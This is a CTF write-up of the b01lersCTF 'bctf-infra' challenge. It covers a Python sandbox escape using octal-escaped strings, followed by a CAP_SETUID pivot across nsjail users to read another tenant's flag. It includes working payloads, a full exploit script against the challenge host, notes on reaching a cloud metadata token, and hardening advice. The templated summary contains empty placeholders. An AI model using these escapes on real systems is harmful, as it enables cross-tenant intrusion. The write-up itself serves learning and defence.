← Back to Writeups
HTBN/AMisc

bctf-infra

XESXOR8/23/20268 min read
#misc#htb#n/a

bctf-infra

Platform: B01Lersc | Category: Misc | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: octal_string_construction, builtins_dict_access, setuid_via_cap_setuid, cross_user_flag_read

Summary

Task: three Python sandboxes (pyjails) with increasingly restrictive whitelists served under nsjail, each running as a separate UID; chal3's whitelist is whitespace-only and unsolvable in isolation. Solution: escape the weakest sandbox (chal1) via octal-escaped string construction into builtins.dict, then abuse the fact that nsjail keeps CAP_SETUID/CAP_SETGID and maps every challenge UID, so os.setuid() pivots across tenants to read chal3's flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: b01lersc | ID: 20260418_b01lersc_bctf_infra
  • Tags: pyjail, sandbox_escape, cap_setuid, nsjail, container_escape, capabilities, uid_namespace, multi_user_isolation, gcp_metadata
  • Indicators: nsjail.cfg grants CAP_SETUID/CAP_SETGID, uidmap covers multiple challenge users (count: 10), server calls os.setuid() per-connection inside Python Process, multiple 'isolated' users sharing one namespace, chmod 700 per-user folders as the only cross-tenant barrier
  • Source: 20260418_b01lersc_bctf_infra.md

Foothold

Vulnerability / Misconfiguration

  1. Octal_string_construction
  2. Builtins_dict_access
  3. Setuid_via_cap_setuid
  4. Cross_user_flag_read
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • octal_string_construction
  • builtins_dict_access
  • setuid_via_cap_setuid
  • cross_user_flag_read
  • Tags: pyjail, sandbox_escape, cap_setuid, nsjail, container_escape, capabilities, uid_namespace, multi_user_isolation, gcp_metadata

Original Writeup

<details><summary>Click to expand original content</summary>

Description

I got access to the b01lersCTF backend infrastructure, can you take a look and see what you can find?

The remote endpoint is a TLS socket:

ncat --ssl bctf-infra.opus4-7.b01le.rs 8443

On connect the server lists three sub-challenges and asks which one to run:

Challenges:
chal3
chal1
chal2
> 

Each sub-challenge is a Python pyjail of the form exec(input()) guarded by a per-challenge character whitelist. The interesting twist is that chal3's whitelist is literally string.whitespace — no alphanumerics, no punctuation, not even a single letter. Taken on its own, chal3 is unsolvable; the challenge is an infrastructure problem, not a pyjail problem.

Analysis

The three sandboxes

All three challenges use the same skeleton:

# chals/chalN/chal.py
inp = input("> ")
for c in inp:
    if c not in allowed_chars:
        print(f"Illegal char {c}")
        exit()
exec(inp)

Only the whitelist differs:

ChallengeAllowed charactersNotable restrictions
chal1string.ascii_lowercase + string.punctuation + string.digits with e and o removedNo whitespace, no uppercase, no e/o
chal2string.ascii_lowercase + "._[]; "No digits, no parens, no quotes, no =, no :
chal3string.whitespace onlyEffectively impossible to form any payload

Flags are located at /app/chals/chalN/flag.txt. Each folder is owned by the matching chalN user (UID 65001/65002/65003) and is chmod 700 (see the Dockerfile loop below). On the live deployment only chal3's flag.txt contains the real flag; chal1 and chal2 return fake{fake_flag}.

Server-side user separation

app/challenge_server.py listens on 127.0.0.1:1337 and spawns a multiprocessing.Process per connection. Inside that process, before executing the challenge, it drops privileges to the matching UID:

def run_challenge(challenge: str, socket: socket.socket):
    with socket:
        uid = pwd.getpwnam(challenge).pw_uid
        gid = grp.getgrnam(challenge).gr_gid
        os.setgid(gid)
        os.setuid(uid)
        ...
        subprocess.run([root / "app/chal.py"], ...)

Because the server uses os.setuid() (not setresuid() with no capabilities left), it must be running as a process that actually has CAP_SETUID available. That means the capability is present in the namespace at the moment the per-challenge child is created — and, critically, it is still present in the child.

nsjail configuration — the real vulnerability

nsjail.cfg is where the infrastructure breaks apart:

cap: "CAP_SETUID"
cap: "CAP_SETGID"
uidmap {inside_id: "1000"  outside_id: "1000"}
uidmap {inside_id: "65001" outside_id: "65001" count: 10}
gidmap {inside_id: "1000" outside_id: "1000"}
gidmap {inside_id: "65001" outside_id: "65001" count: 10}

Two things are wrong at once:

  1. CAP_SETUID and CAP_SETGID are kept in the capability set. nsjail does not drop them after the challenge process starts, and challenge_server.py never strips them either.
  2. A single uidmap range covers UIDs 65001..65010 — that is, all challenge users are mapped into the same user namespace. ctf (UID 1000) is also mapped.

The consequence: once we are executing code as any chalN user, we can call os.setuid() to switch to any other UID in the uidmap. The per-challenge chmod 700 folder permissions mean nothing, because kernel permission checks are evaluated after we have already become the target UID.

Empirically verified inside the remote container:

os.setuid(0)     -> OSError: [Errno 22] Invalid argument   # uid 0 not in the map
os.setuid(1000)  -> getuid() == 1000                       # ctf user
os.setuid(65001) -> getuid() == 65001                      # chal3
os.setuid(65003) -> getuid() == 65003                      # chal2

So the attack plan is: break the easiest sandbox (chal1), then setuid(65001) and read /app/chals/chal3/flag.txt directly. The unbreakable chal3 whitelist is irrelevant.

Solution

Step 1 — escape chal1 with octal-escaped strings

chal1 forbids e, o, whitespace and uppercase, but leaves us digits, backslash and most punctuation. That is enough to build arbitrary strings at runtime via octal escapes — \NNN uses only backslash and digits, all allowed.

From there we reach anything by indexing __builtins__.__dict__:

# open('flag.txt') from chal1's cwd:
print(*__builtins__.__dict__['\157\160\145\156']('\146\154\141\147\056\164\170\164'))
#                              o   p   e   n         f   l   a   g   .   t   x   t

Arbitrary imports and command execution work the same way:

a = __builtins__.__dict__['\137\137\151\155\160\157\162\164\137\137']('\157\163')  # __import__('os')
a.__dict__['\163\171\163\164\145\155']('id')                                        # os.system('id')
# uid=65002(chal1) gid=65002(chal1) groups=65002(chal1)

That confirms the sandbox is fully broken and the process is running as chal1 (UID 65002).

Step 2 — pivot via CAP_SETUID and read every flag

With CAP_SETUID/CAP_SETGID still in the bounding set, we can change UID/GID to any mapped value. Dropping to chal3 (UID 65001) lets us open /app/chals/chal3/flag.txt despite the chmod 700:

a = __builtins__.__dict__['\137\137\151\155\160\157\162\164\137\137']('\157\163')
a.__dict__['\163\145\164\147\151\144'](65001)   # setgid(65001)
a.__dict__['\163\145\164\165\151\144'](65001)   # setuid(65001)
f = __builtins__.__dict__['\157\160\145\156']('/app/chals/chal3/flag.txt')
print(f.__class__.__dict__['\162\145\141\144'](f))

Running the same primitive against all three users on the remote:

--- chal2 (uid 65003) -> /app/chals/chal2/flag.txt
fake{fake_flag}

--- chal3 (uid 65001) -> /app/chals/chal3/flag.txt
bctf{REDACTED}

--- chal1 (uid 65002) -> /app/chals/chal1/flag.txt
fake{fake_flag}

The intended target is chal3 — the "impossible" sandbox — reached entirely by pivoting out of chal1.

End-to-end exploit

The following script connects over TLS, selects chal1, sends an octal-encoded payload that performs setgid/setuid and reads the target file, and repeats for each user:

#!/usr/bin/env python3
import socket, ssl, time

HOST = 'bctf-infra.opus4-7.b01le.rs'
PORT = 8443

def esc(s):
    return ''.join(f'\\{ord(c):03o}' for c in s)

def chal1_run(payload, attempts=60):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    for _ in range(attempts):
        try:
            with socket.create_connection((HOST, PORT), timeout=10) as s:
                with ctx.wrap_socket(s, server_hostname=HOST) as ss:
                    ss.settimeout(5)
                    banner = ss.recv(4096)
                    if b'Challenges:' not in banner:
                        time.sleep(3); continue
                    ss.sendall(b'chal1\n')
                    time.sleep(3)
                    pre = b''
                    while True:
                        ss.settimeout(0.5)
                        try: c = ss.recv(4096)
                        except Exception: break
                        if not c: break
                        pre += c
                    if b'chal1:' not in pre:
                        time.sleep(3); continue
                    ss.sendall(payload.encode() + b'\n')
                    time.sleep(5)
                    out = b''
                    while True:
                        ss.settimeout(0.75)
                        try: c = ss.recv(4096)
                        except Exception: break
                        if not c: break
                        out += c
                    if out:
                        return out.decode('utf-8', 'replace')
        except Exception:
            time.sleep(3)
    return ''

imp    = esc('__import__')
osm    = esc('os')
setgid = esc('setgid')
setuid = esc('setuid')
oopen  = esc('open')
read   = esc('read')

def payload_read(uid, path):
    return (
        f"a=__builtins__.__dict__['{imp}']('{osm}');"
        f"a.__dict__['{setgid}']({uid});"
        f"a.__dict__['{setuid}']({uid});"
        f"f=__builtins__.__dict__['{oopen}']('{esc(path)}');"
        f"print(f.__class__.__dict__['{read}'](f))"
    )

for name, uid, path in [
    ('chal3', 65001, '/app/chals/chal3/flag.txt'),
    ('chal1', 65002, '/app/chals/chal1/flag.txt'),
    ('chal2', 65003, '/app/chals/chal2/flag.txt'),
]:
    print(f'--- {name} uid={uid} ---')
    print(chal1_run(payload_read(uid, path)))

Bonus recon

While inside the container I also observed:

  • 169.254.169.254 (GKE Metadata Server) is reachable and serves an access token bound to the Workload Identity pool bctf-2026-main.svc.id.goog (cluster bctf-2026-main-megaknight, project bctf-2026-main).
  • The Kubernetes API service IP 34.118.224.1:443 is reachable from inside the jail.

Both paths return PERMISSION_DENIED / SERVICE_DISABLED on the public GCP APIs I exercised, so they were not the intended solution — the intended path is the local CAP_SETUID abuse above. Noted here only because "pod can mint GKE metadata tokens and talk to the kube-apiserver" is a real defensive finding worth tracking.

Hardening / Defensive takeaway

  • Do not leave CAP_SETUID/CAP_SETGID in the bounding set of untrusted code. nsjail supports keep_caps: false and explicit cap drops — use them after the server has finished its own setuid() dance, or spawn each tenant inside its own namespace with caps already dropped.
  • Do not put multiple "isolated" tenants into a single uidmap range. Each challenge/user should get its own user namespace so that setuid() to a neighbor's UID is impossible by construction (the target UID simply does not exist in the calling namespace).
  • UNIX DAC (chmod 700) is not an isolation primitive against an attacker who can call setuid(). File-mode permissions should be defense in depth, not the perimeter.
  • Lesson in one line: one sandbox is as weak as all of them — if any of chal1/chal2 falls, chal3 falls too regardless of how airtight its whitelist looks.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR